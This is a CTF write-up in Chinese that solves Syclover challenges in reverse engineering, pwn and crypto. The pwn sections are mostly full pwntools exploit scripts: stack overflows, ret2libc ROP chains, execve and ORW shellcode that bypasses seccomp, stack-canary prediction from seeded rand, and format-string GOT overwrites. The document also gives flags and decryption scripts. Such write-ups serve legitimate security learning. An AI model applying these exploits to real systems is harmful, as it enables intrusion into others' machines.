re 点击就送的逆向题 .S的文件 使用as命令来汇编一下,然后ida打开分析逻辑
置反一下逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { int i; char s1[32 ]; char s2[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); strcpy (s2, "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM" ); _isoc99_scanf(&unk_F4, s1); for ( i = 0 ; i <= 31 ; ++i ) s1[i] += 7 ; if ( !strcmp (s1, s2) ) printf ("wrong!" ); puts ("good!" ); return 0 ; }
1 2 3 4 5 flag = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM" for i in range (len (flag)): byte = ord (flag[i]) - 7 print (chr (byte),end="" )
1 SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}
shiftjmp 有个jmp的花指令 nop掉后,对着main u p 重新打包main函数反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main (int argc, const char **argv, const char **envp) { int i; puts ("flag:" ); for ( i = 0 ; i <= 33 ; ++i ) { if ( rodata[i] ^ i ^ getchar() ) { puts ("no" ); return 0 ; } } puts ("yes" ); return 0 ; }
1 2 3 4 5 flag = [0x53 , 0x58 , 0x41 , 0x78 , 0x53 , 0x36 , 0x6A , 0x64 , 0x38 , 0x64 , 0x6F , 0x54 , 0x78 , 0x42 , 0x51 , 0x7B , 0x78 , 0x22 , 0x4D , 0x61 , 0x27 , 0x63 , 0x73 , 0x45 , 0x2D , 0x7C , 0x45 , 0x6C , 0x2C , 0x6F , 0x2F , 0x7B , 0x5E , 0x5C , 0x00 ] for i in range (len (flag)): byte = flag[i] ^ i print (chr (byte),end="" )
幸运数字 这里的问题,其实是求解 找0xD3范围内的i异或cmp数组 哪个开头是SYC,因为与运算有截断这个特性,所以范围是0xD3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; unsigned int v5; unsigned __int8 cmp_data[41 ]; unsigned int inputString; int lenth; int i; _main(argc, argv, envp); qmemcpy(cmp_data, "\r\a" , 2 ); cmp_data[2 ] = 29 ; cmp_data[3 ] = 37 ; cmp_data[4 ] = 29 ; cmp_data[5 ] = 110 ; cmp_data[6 ] = 48 ; cmp_data[7 ] = 57 ; cmp_data[8 ] = 44 ; cmp_data[9 ] = 63 ; cmp_data[10 ] = 42 ; cmp_data[11 ] = 43 ; cmp_data[12 ] = 50 ; cmp_data[13 ] = 63 ; cmp_data[14 ] = 42 ; cmp_data[15 ] = 55 ; cmp_data[16 ] = 110 ; cmp_data[17 ] = 48 ; cmp_data[18 ] = 48 ; cmp_data[19 ] = 48 ; cmp_data[20 ] = 48 ; cmp_data[21 ] = 45 ; cmp_data[22 ] = 1 ; cmp_data[23 ] = 7 ; cmp_data[24 ] = 49 ; cmp_data[25 ] = 43 ; cmp_data[26 ] = 1 ; cmp_data[27 ] = 57 ; cmp_data[28 ] = 31 ; cmp_data[29 ] = 59 ; cmp_data[30 ] = 45 ; cmp_data[31 ] = 45 ; cmp_data[32 ] = 27 ; cmp_data[33 ] = 58 ; cmp_data[34 ] = 1 ; cmp_data[35 ] = 12 ; qmemcpy(&cmp_data[36 ], "o96*#" , 5 ); printf (&Format); scanf ("%u" , &inputString); if ( inputString <= 0x3E7 ) { lenth = 41 ; puts (&Buffer); for ( i = 0 ; i < lenth; ++i ) { v4 = cmp_data[i]; v5 = result(inputString); printf ("%c" , v4 ^ (v5 % 0xD3 )); } return 0 ; } else { printf (&byte_40401C); return 0 ; } }
1 2 3 4 5 6 7 cmp_data = [0x0D , 0x07 , 0x1D , 0x25 , 0x1D , 0x6E , 0x30 , 0x39 , 0x2C , 0x3F , 0x2A , 0x2B , 0x32 , 0x3F , 0x2A , 0x37 , 0x6E , 0x30 , 0x30 , 0x30 , 0x30 , 0x2D , 0x01 , 0x07 , 0x31 , 0x2B , 0x01 , 0x39 , 0x1F , 0x3B , 0x2D , 0x2D , 0x1B , 0x3A , 0x01 , 0x0C , 0x6F , 0x39 , 0x36 , 0x2A , 0x23 , 0x15 , 0x40 ] for i in range (0xd3 ): for j in cmp_data: byte = j ^ i; print (chr (byte),end="" ) print ("\n" )
砍树 native 看下面调用str2应该是key
1 2 3 4 5 6 7 public static native int I0o0I (String str, String str2) ;public native String skkkyJNI () ;static { System.loadLibrary("ezreeeee" ); }
根据输入和key进行加密然后和dest cmp,大概是这样的一个逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 _BOOL8 __fastcall Java_com_sky_ezreeeee_MainActivity_I0o0I (__int64 a1, __int64 a2, __int64 a3, __int64 a4) { int i; __int64 v6; _BOOL4 v7; unsigned __int8 *v9; unsigned __int8 *inputString; char dest[40 ]; unsigned __int64 v12; v12 = __readfsqword(0x28 u); inputString = (unsigned __int8 *)jstring_2unsigchar(a1, a3); v9 = (unsigned __int8 *)jstring_2unsigchar(a1, a4); v6 = A0OWO0A(inputString, v9); memcpy (dest, &byte_14900, 0x23 uLL); for ( i = 0 ; i < 34 ; ++i ) v7 = *(unsigned __int8 *)(v6 + i) == (unsigned __int8)dest[i]; return v7; }
A0OWO0A的实现
1 2 3 4 5 6 7 8 unsigned __int8 *__fastcall A0OWO0A (unsigned __int8 *inputString, const unsigned __int8 *key) { int i; for ( i = 0 ; i < 34 ; ++i ) inputString[i] ^= key[i % 7 ]; return inputString; }
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 flag = [0x00 , 0x20 , 0x20 , 0x17 , 0x1B , 0x36 , 0x0E , 0x36 , 0x26 , 0x17 , 0x04 , 0x2A , 0x29 , 0x07 , 0x26 , 0x15 , 0x52 , 0x33 , 0x2D , 0x0F , 0x3A , 0x27 , 0x11 , 0x06 , 0x33 , 0x07 , 0x46 , 0x17 , 0x3D , 0x0A , 0x3C , 0x38 , 0x2E , 0x22 , 0x18 ] a = "Sycloverforerver" key = [ord (i) for i in a] for i in range (len (flag)): byte = flag[i] ^ key[i % 7 ] print (chr (byte),end="" )
听说cpp很难? 无用的代码比较多,这时候应该从后往前分析,从success的逻辑开始往前找,发现关键的加密逻辑,也是就test67那
1 2 3 4 5 6 7 8 9 10 11 12 13 for ( k = std::vector<char >::begin (v16); ; __gnu_cxx::__normal_iterator<char *,std::vector<char >>::operator ++( &k, 0 i64) ) { v21 = std::vector<char >::end (v16); if ( !(unsigned __int8)__gnu_cxx::operator !=<char *,std::vector<char >>(&k, &v21) ) break ; v6 = (_BYTE *)__gnu_cxx::__normal_iterator<char *,std::vector<char >>::operator *(&k); *v6 += v17[44 ]; v7 = *(char *)__gnu_cxx::__normal_iterator<char *,std::vector<char >>::operator *(&k); v8 = (_BYTE *)__gnu_cxx::__normal_iterator<char *,std::vector<char >>::operator *(&k); *v8 = text_67 (v17, v7); }
1 2 3 4 5 __int64 __fastcall text_67 (__int64 a1, char a2) { *(_DWORD *)(a1 + 40 ) = 9 ; return (unsigned __int8)(((*(_DWORD *)(a1 + 40 ) + 1 ) ^ a2) - *(_DWORD *)(a1 + 40 ) - 1 ); }
也就是这个逻辑,test_67外边可以一个*v6 += v17[44];的逻辑,打开看了一下是0xa
1 (inputString[i] ^ 10) - 9 - 1
所以也就是
1 ((cmpStr[i] + 10) ^ 10) - 0xa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 v19 = [ 77 , 95 , 61 , -123 , 55 , 104 , 115 , 87 , 39 , 104 , 81 , 89 , 127 , 38 , 107 , 89 , 115 , 87 , 85 , 91 , 89 , 111 , 106 , 89 , 39 , 87 , 114 , 87 , 79 , 87 , 120 , 120 , -125 ] for i in range (len (v19)): v19[i] = ((v19[i] + 10 ) ^ 10 ) - 0xa for i in v19: if i < 0 : continue print (chr (i),end="" )
pwn 可以用ctypes来调用libc中的srand rand
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *from ctypes import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./chal' ) libc = cdll.LoadLibrary('libc.so.6' ) libc.srand(libc.time(0 )) is_debug = 0 if (is_debug): p = process() else : ip = "pwn.node.game.sycsec.com" port = 31955 p = remote(ip,port) s = lambda x: p.send(x) sl = lambda x: p.sendline(sa) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda x: p.recvline(x) ru = lambda x: p.recvuntil(x) payload = b'a' * 92 + b'Syclover' p.send(payload) random_number1 = libc.rand() % 100000 + 5646488 ; random_number2 = libc.rand() % 10000 + 3214590 ; random_number3 = libc.rand() % 1000 + 6521 ; random_number4 = libc.rand() % 10000 + 98714 ; result = (random_number1 - random_number2) * random_number3 % random_number4 result = str (result).encode() p.sendline(result) p.interactive()
ret2text 程序开启了pie,但是backdoor和vuln的偏移非常近,不超过一个字节的偏移,原有的return上面就已经有了前面部分的地址,所以只需要覆盖低位一个字节的内容,就能return到backdoor上面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:000000000000120 E F3 0F 1 E FA endbr64 .text:0000000000001212 55 push rbp .text:0000000000001213 48 89 E5 mov rbp, rsp .text:0000000000001216 48 83 EC 10 sub rsp, 10 h .text:000000000000121 A C7 45 FC 00 00 00 00 mov [rbp+var_4], 0 .text:0000000000001221 83 7 D FC 01 cmp [rbp+var_4], 1 .text:0000000000001225 75 11 jnz short loc_1238 .text:0000000000001225 .text:0000000000001227 48 8 D 3 D DA 0 D 00 00 lea rdi, command ; "/bin/sh" .text:000000000000122 E B8 00 00 00 00 mov eax, 0 .text:0000000000001233 E8 58 FE FF FF call _system .text:0000000000001233 .text:0000000000001238 .text:0000000000001238 loc_1238: ; CODE XREF: backdoor+17 ↑j .text:0000000000001238 90 nop .text:0000000000001239 C9 leave .text:000000000000123 A C3 retn .text:000000000000123 A ; } /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:000000000000123B ; __unwind { .text:000000000000123B F3 0F 1 E FA endbr64 .text:000000000000123F 55 push rbp .text:0000000000001240 48 89 E5 mov rbp, rsp .text:0000000000001243 48 83 EC 50 sub rsp, 50 h .text:0000000000001247 48 8 D 3 D C2 0 D 00 00 lea rdi, s ; "The simplest but not too simple pwn" .text:000000000000124 E E8 2 D FE FF FF call _puts .text:000000000000124 E .text:0000000000001253 48 8 D 45 B0 lea rax, [rbp+buf] .text:0000000000001257 BA 60 00 00 00 mov edx, 60 h ; '`' ; nbytes .text:000000000000125 C 48 89 C6 mov rsi, rax ; buf .text:000000000000125F BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000001264 B8 00 00 00 00 mov eax, 0 .text:0000000000001269 E8 32 FE FF FF call _read .text:0000000000001269 .text:000000000000126 E 90 nop .text:000000000000126F C9 leave .text:0000000000001270 C3 retn .text:0000000000001270 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./ret2text' ) is_debug = 1 if (is_debug): p = process() else : ip = "1.container.jingsai.apicon.cn" port = 30926 p = remote(ip,port) s = lambda x: p.send(x) sl = lambda x: p.sendline(sa) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda x: p.recvline(x) ru = lambda x: p.recvuntil(x) payload = b'a' * (0x50 + 0x8 ) payload += p8(0x27 ) p.send(payload) p.interactive()
password 有一个backdoor函数,name那存在一个溢出,刚刚好是八个字节,能覆盖返回地址,password这里是通过read /dev/urandom来生成的,去看了下urandome 有时候会出来\x00,想到strcmp 是根据\x00来识别字符串,再cmp的,那假设第一位是\x00,爆破password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char s[64 ]; char buf[32 ]; init(); puts ("please enter user name:" ); read(0 , buf, 0x30 uLL); puts ("please enter password:" ); fgets(s, 64 , stdin ); if ( strcmp (s, password) ) { puts ("Wrong password!" ); exit (0 ); } puts ("Correct password!" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 int init () { FILE *stream; setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); stream = fopen("/dev/urandom" , "r" ); fgets(password, 64 , stream); return fclose(stream); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import *import ctypeself = context.binary = ELF('./password' ) is_debug = 1 g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(sa) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda x: p.recvline(x) ru = lambda x: p.recvuntil(x) payload = b'a' * (0x20 + 0x8 ) payload += p64(0x00000000004012F3 ) ip = "pwn.node.game.sycsec.com" port = 31233 while True : p = remote(ip,port) p.sendafter(b"name:\n" ,payload) p.sendlineafter(b"password:\n" ,b'\x00' ) s = p.recvline() print (s) if (b"Correct" in s): break p.close() p.interactive()
ret2libc 先用write泄露got表的地址,然后计算libc的基地址,拿到system和binsh后,正常的rop
找了半天没有找到修改rdx寄存器的gadget,后面发现这里有一个非常合适的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./ret2libc' ) libc = ELF('./libc.so.6' ) is_debug = 1 if (is_debug): p = process() else : ip = "pwn.node.game.sycsec.com" port = 31982 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(sa) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda x: p.recvline(x) ru = lambda x: p.recvuntil(x) rdi = 0x0000000000401333 rsi_r15 = 0x0000000000401331 csu1 = 0x0000000000401310 csu2 = 0x0000000000401326 main = 0x000000000040126F ret = 0x000000000040101a init_proc = 0x0000000000401000 rdx = 0x0000000000401288 sla(b"This challenge no backdoor!" ,flat([ b'\x00' * (0x10 + 0x8 ), rsi_r15, elf.got.write, 0 , rdx, ])) leek_write = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success(f"success-> {hex (leek_write)} " ) libc_base = leek_write - libc.symbols['write' ] success(f"libc_base-> {hex (libc_base)} " ) system = libc_base + libc.symbols['system' ] binsh= libc_base + next (libc.search(b"/bin/sh\x00" )) success(f"system-> {hex (system)} " ) success(f"binsh-> {hex (binsh)} " ) sla(b"This challenge no backdoor!" ,flat([ b'\x00' * (0x10 + 0x8 ), rdi,binsh,system ])) p.interactive()
看到的一种很有意思的做法,https://www.cnblogs.com/mumuhhh/p/17860207.html 这里,用magic gadget,配合csu实现任意地址写,写got表,然后写one gadget的地址来getshell
write1 *((_BYTE *)v2 + v1) += tmp; 这里有一个任意地址写的漏洞,可以一个字节一个字节的修改数据,程序中有一个backdoor函数,可以把返回地址修改成backdoor然后再输入一个<0的数退出循环,注意__isoc99_scanf(“%x”, &tmp); 是十六进制的,所以输入也应该是十六进制的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned __int64 do_something () { int v1; __int64 v2[3 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); __isoc99_scanf("%s" , &s); v2[0 ] = s; v2[1 ] = qword_404098; while ( 1 ) { puts ("index:" ); __isoc99_scanf("%d" , &v1); if ( v1 < 0 ) break ; printf ("value:" ); __isoc99_scanf("%x" , &tmp); *((_BYTE *)v2 + v1) += tmp; } return v3 - __readfsqword(0x28 u); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./write' ) is_debug = 0 if (is_debug): p = process() else : ip = "pwn.node.game.sycsec.com" port = 31253 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda x: p.recvline(x) ru = lambda x: p.recvuntil(x) sl(b'aaaa' ) sl(b'40' ) sl(b'-0x28' ) sl(b'41' ) sl(b'-0x1' ) sl('-1' ) p.interactive()
ezpwn ret2shellcode 0x13h - 0x8 = 11个字节,这个太难受了,一开始想着把shellcode拆成两半,后半段放在开始,前半段放在后面,然后结尾jmp,第一次尝试写shellcode,写来写去最短也要22个字节,网上找了一些16字节的发现都有些问题。后面发现syscall再read再read一遍写足够大的位置不就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment byte public 'CODE' use64 assume cs:_text ;org 801000 h assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing ; Attributes: bp-based frame ; void fun () public fun fun proc near anonymous_0= byte ptr -20 h ; __unwind { push rbp mov rbp, rsp sub rsp, 20 h xor eax, eax xor edi, edi ; fd mov rsi, rsp ; buf mov edx, 13 h ; count syscall ; LINUX - sys_read add rsi, 8 jmp rsi ; } fun endp _text ends
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./ezpwn' ) is_debug = 0 if (is_debug): p = process() else : ip = "pwn.node.game.sycsec.com" port = 31578 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda x: p.recvline(x) ru = lambda x: p.recvuntil(x) shellcode1 = ''' xor eax,eax push 0x50 pop rdx add rsi,11 syscall ''' shellcode1 = b'a' * 8 + asm(shellcode1) s(shellcode1) shellcode2 = ''' mov rax,0x68732f6e69622f push rax push rsp pop rdi push 0x3b pop rax xor esi, esi xor edx, edx syscall ''' shellcode2 = asm(shellcode2) s(shellcode2) p.interactive()
write2 vmmap 发现栈上有可执行的权限,任意地址写,直接往rbp + 16写shellcode,然后把rbp + 8改成rbp + 16的地址就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./write2' ) is_debug = 1 if (is_debug): p = process() else : ip = "pwn.node.game.sycsec.com" port = 30602 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) ru(b"index_addr:" ) addr = int (p.recv(14 ).decode("utf-8" ),16 ) return_addr = addr + 0x34 success(f"return_addr -> {hex (return_addr)} " ) shellcode = ''' mov rax,0x68732f6e69622f push rax push rsp pop rdi push 0x3b pop rax xor esi, esi xor edx, edx syscall ''' shellcode = asm(shellcode) sl(b'a' ) for i in range (len (shellcode)): sl(str (0x30 + i).encode()) sl(str (hex (shellcode[i])[2 :]).encode()) for i in range (6 ): byte = return_addr & 0xff sl(str (0x28 + i).encode()) sl(hex (byte)[2 :]) return_addr >>= 8 sl(b'-1' ) p.interactive()
white_canary vmmap发现bss有可执行的权限,第一次read buf,往一块有可读可写可执行的地址写数据,第二次gets可以溢出,但是seccomp禁用了execve系统调用,然后有个canary,但canary是通过随机数生成出来的
所以思路是先往buf中写orw的shellcode,然后溢出修改返回地址执行这个shellcode把flag读出来
open(flag,0,0)
read(fd,buf,size)
write(fd,buf,size)
用ctypes模拟canary的生成,溢出的时候带上canary就好了,gdb看了一下,是取生成的canary的第八字节,然后写到fs段偏移0x28
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v4; char v5[8 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); v4 = seccomp_init(2147418112LL , argv, envp); seccomp_rule_add(v4, 0LL , 59LL , 0LL ); seccomp_load(v4); puts ("You are lost in a forest of pwn,find the secret of this world" ); puts ("You find a man,he said:If you want to get out of here, you need to tell me your name!" ); puts ("Please enter your name:" ); read(0 , &buf, 0x64 uLL); puts ("tell me something:" ); gets(v5); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int init () { time_t seed; __int64 v2; __int64 v3; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); seed = time(0LL ) % 60 ; srand(seed); v2 = rand(); v3 = rand(); __writefsqword( 0x28 u, (((v2 >> 4 ) ^ (16 * v3 + (v3 >> 8 ) * (v2 << 8 ))) >> 32 ) + ((((v2 >> 48 ) + (v2 << 16 ) * (v3 >> 16 )) ^ (v3 << 48 )) << 32 )); return mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000 uLL, 7 ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *from LibcSearcher import *import ctypescontext(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./chal' ) libc = ctypes.CDLL(os.path.join(os.getcwd(), 'libc.so.6' )) seed = libc.time(None ) % 60 libc.srand(seed) is_debug = 1 if (is_debug): p = process() else : ip = "pwn.node.game.sycsec.com" port = 31936 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) v2 = libc.rand() v3 = libc.rand() canary = (((v2 >> 4 ) ^ (16 * v3 + (v3 >> 8 ) * (v2 << 8 ))) >> 32 ) + ((((v2 >> 48 ) + (v2 << 16 ) * (v3 >> 16 )) ^ (v3 << 48 )) << 32 ) canary = canary & 0xFFFFFFFFFFFFFFFF success(f"Canary -> {hex (canary)} " ) orw_shellcode = asm(''' mov edx,0x67616c66 push rdx push rsp pop rdi xor esi,esi mov eax,0x2 syscall push 0x50 pop rdx mov edi,eax mov rsi,rsp xor eax,eax syscall push 0x50 pop rdx xor edi,2 mov eax,edi syscall ''' )sa("Please enter your name:\n" ,orw_shellcode) payload = b'a' * (0x10 - 0x8 ) + p64(canary) + b'a' * 8 + p64(0x00000000004040E0 ) sla(b"tell me something:\n" , payload) p.interactive()
fmt1.0[补] 咱是笨蛋,这个printf很奇怪,没有想到格式化字符串修改printf的got表,为execve,咱以为是格式化字符串连续写,然后ret2libc,后面看其他师傅的wp后发现,可以修改这个printf的 got表位execve
1 2 3 4 5 6 7 8 9 10 11 __int64 vuln() { char s[80]; // [rsp+0h] [rbp-50h] BYREF memset(s, 0, sizeof(s)); puts("Please enter your username: "); read(0, s, 0x60uLL); printf("Hello,"); printf(s, 0LL); return 0LL; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) elf = context.binary = ELF('./fmt1.0' ) libc = ELF('./libc.so.6' ) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) p = process("./fmt1.0" ) p.recvuntil(b"Please enter your username: \n" ) main = 0x4012CA payload = fmtstr_payload(6 ,{elf.got["printf" ]:elf.plt["execve" ]}) success(f"payload ->{payload} " ) payload = payload.ljust(0x58 ,b'\x00' ) + p64(main) s(payload) sl(b"/bin/sh\x00" ) p.interactive()
fmt2.0[补] 有两次printf格式化字符串,第一次泄露一个libc相关的地址和栈上的地址算出libc_base和返回地址,第二次把返回地址修改成one_gadget的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main(int argc, const char **argv, const char **envp) { char buf[88]; // [rsp+0h] [rbp-60h] BYREF unsigned __int64 v5; // [rsp+58h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); printf("frist str:"); read(0, buf, 0x50uLL); printf(buf); putchar(10); printf("second str:"); read(0, buf, 0x50uLL); printf(buf); return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) elf = context.binary = ELF('./fmt2.0' ) libc = elf.libc is_debug = 1 if (is_debug): p = process() else : ip = "node4.buuoj.cn" port = 29349 p = remote(ip,port) g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) sl(b"aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p" ) ru(b"aaaa" ) leek_addr = int (r(14 ),16 ) ret_addr = leek_addr + 0x68 success(f"ret_addr -> {hex (ret_addr)} " ) ru(b"0x50-" ) read_addr = int (r(14 ),16 ) read_addr -= 0x12 libc_base = read_addr - libc.sym['read' ] success(f"libc_base -> {hex (libc_base)} " ) one=0xe3b01 payload=fmtstr_payload(6 ,{ret_addr:libc_base+one},write_size='short' ) sl(payload) p.interactive()
fmt3.0[补] ez_fullprotection[补] mips[补] why_not_puts[补] eva[补] Cypto easy_classic 有些绕
凯撒->栅栏->base64->熊曰->key base100 emjoy->playfair
SignIn 十六进制转字符串
1 SYC{Hello_World_Crypto_bibobibo}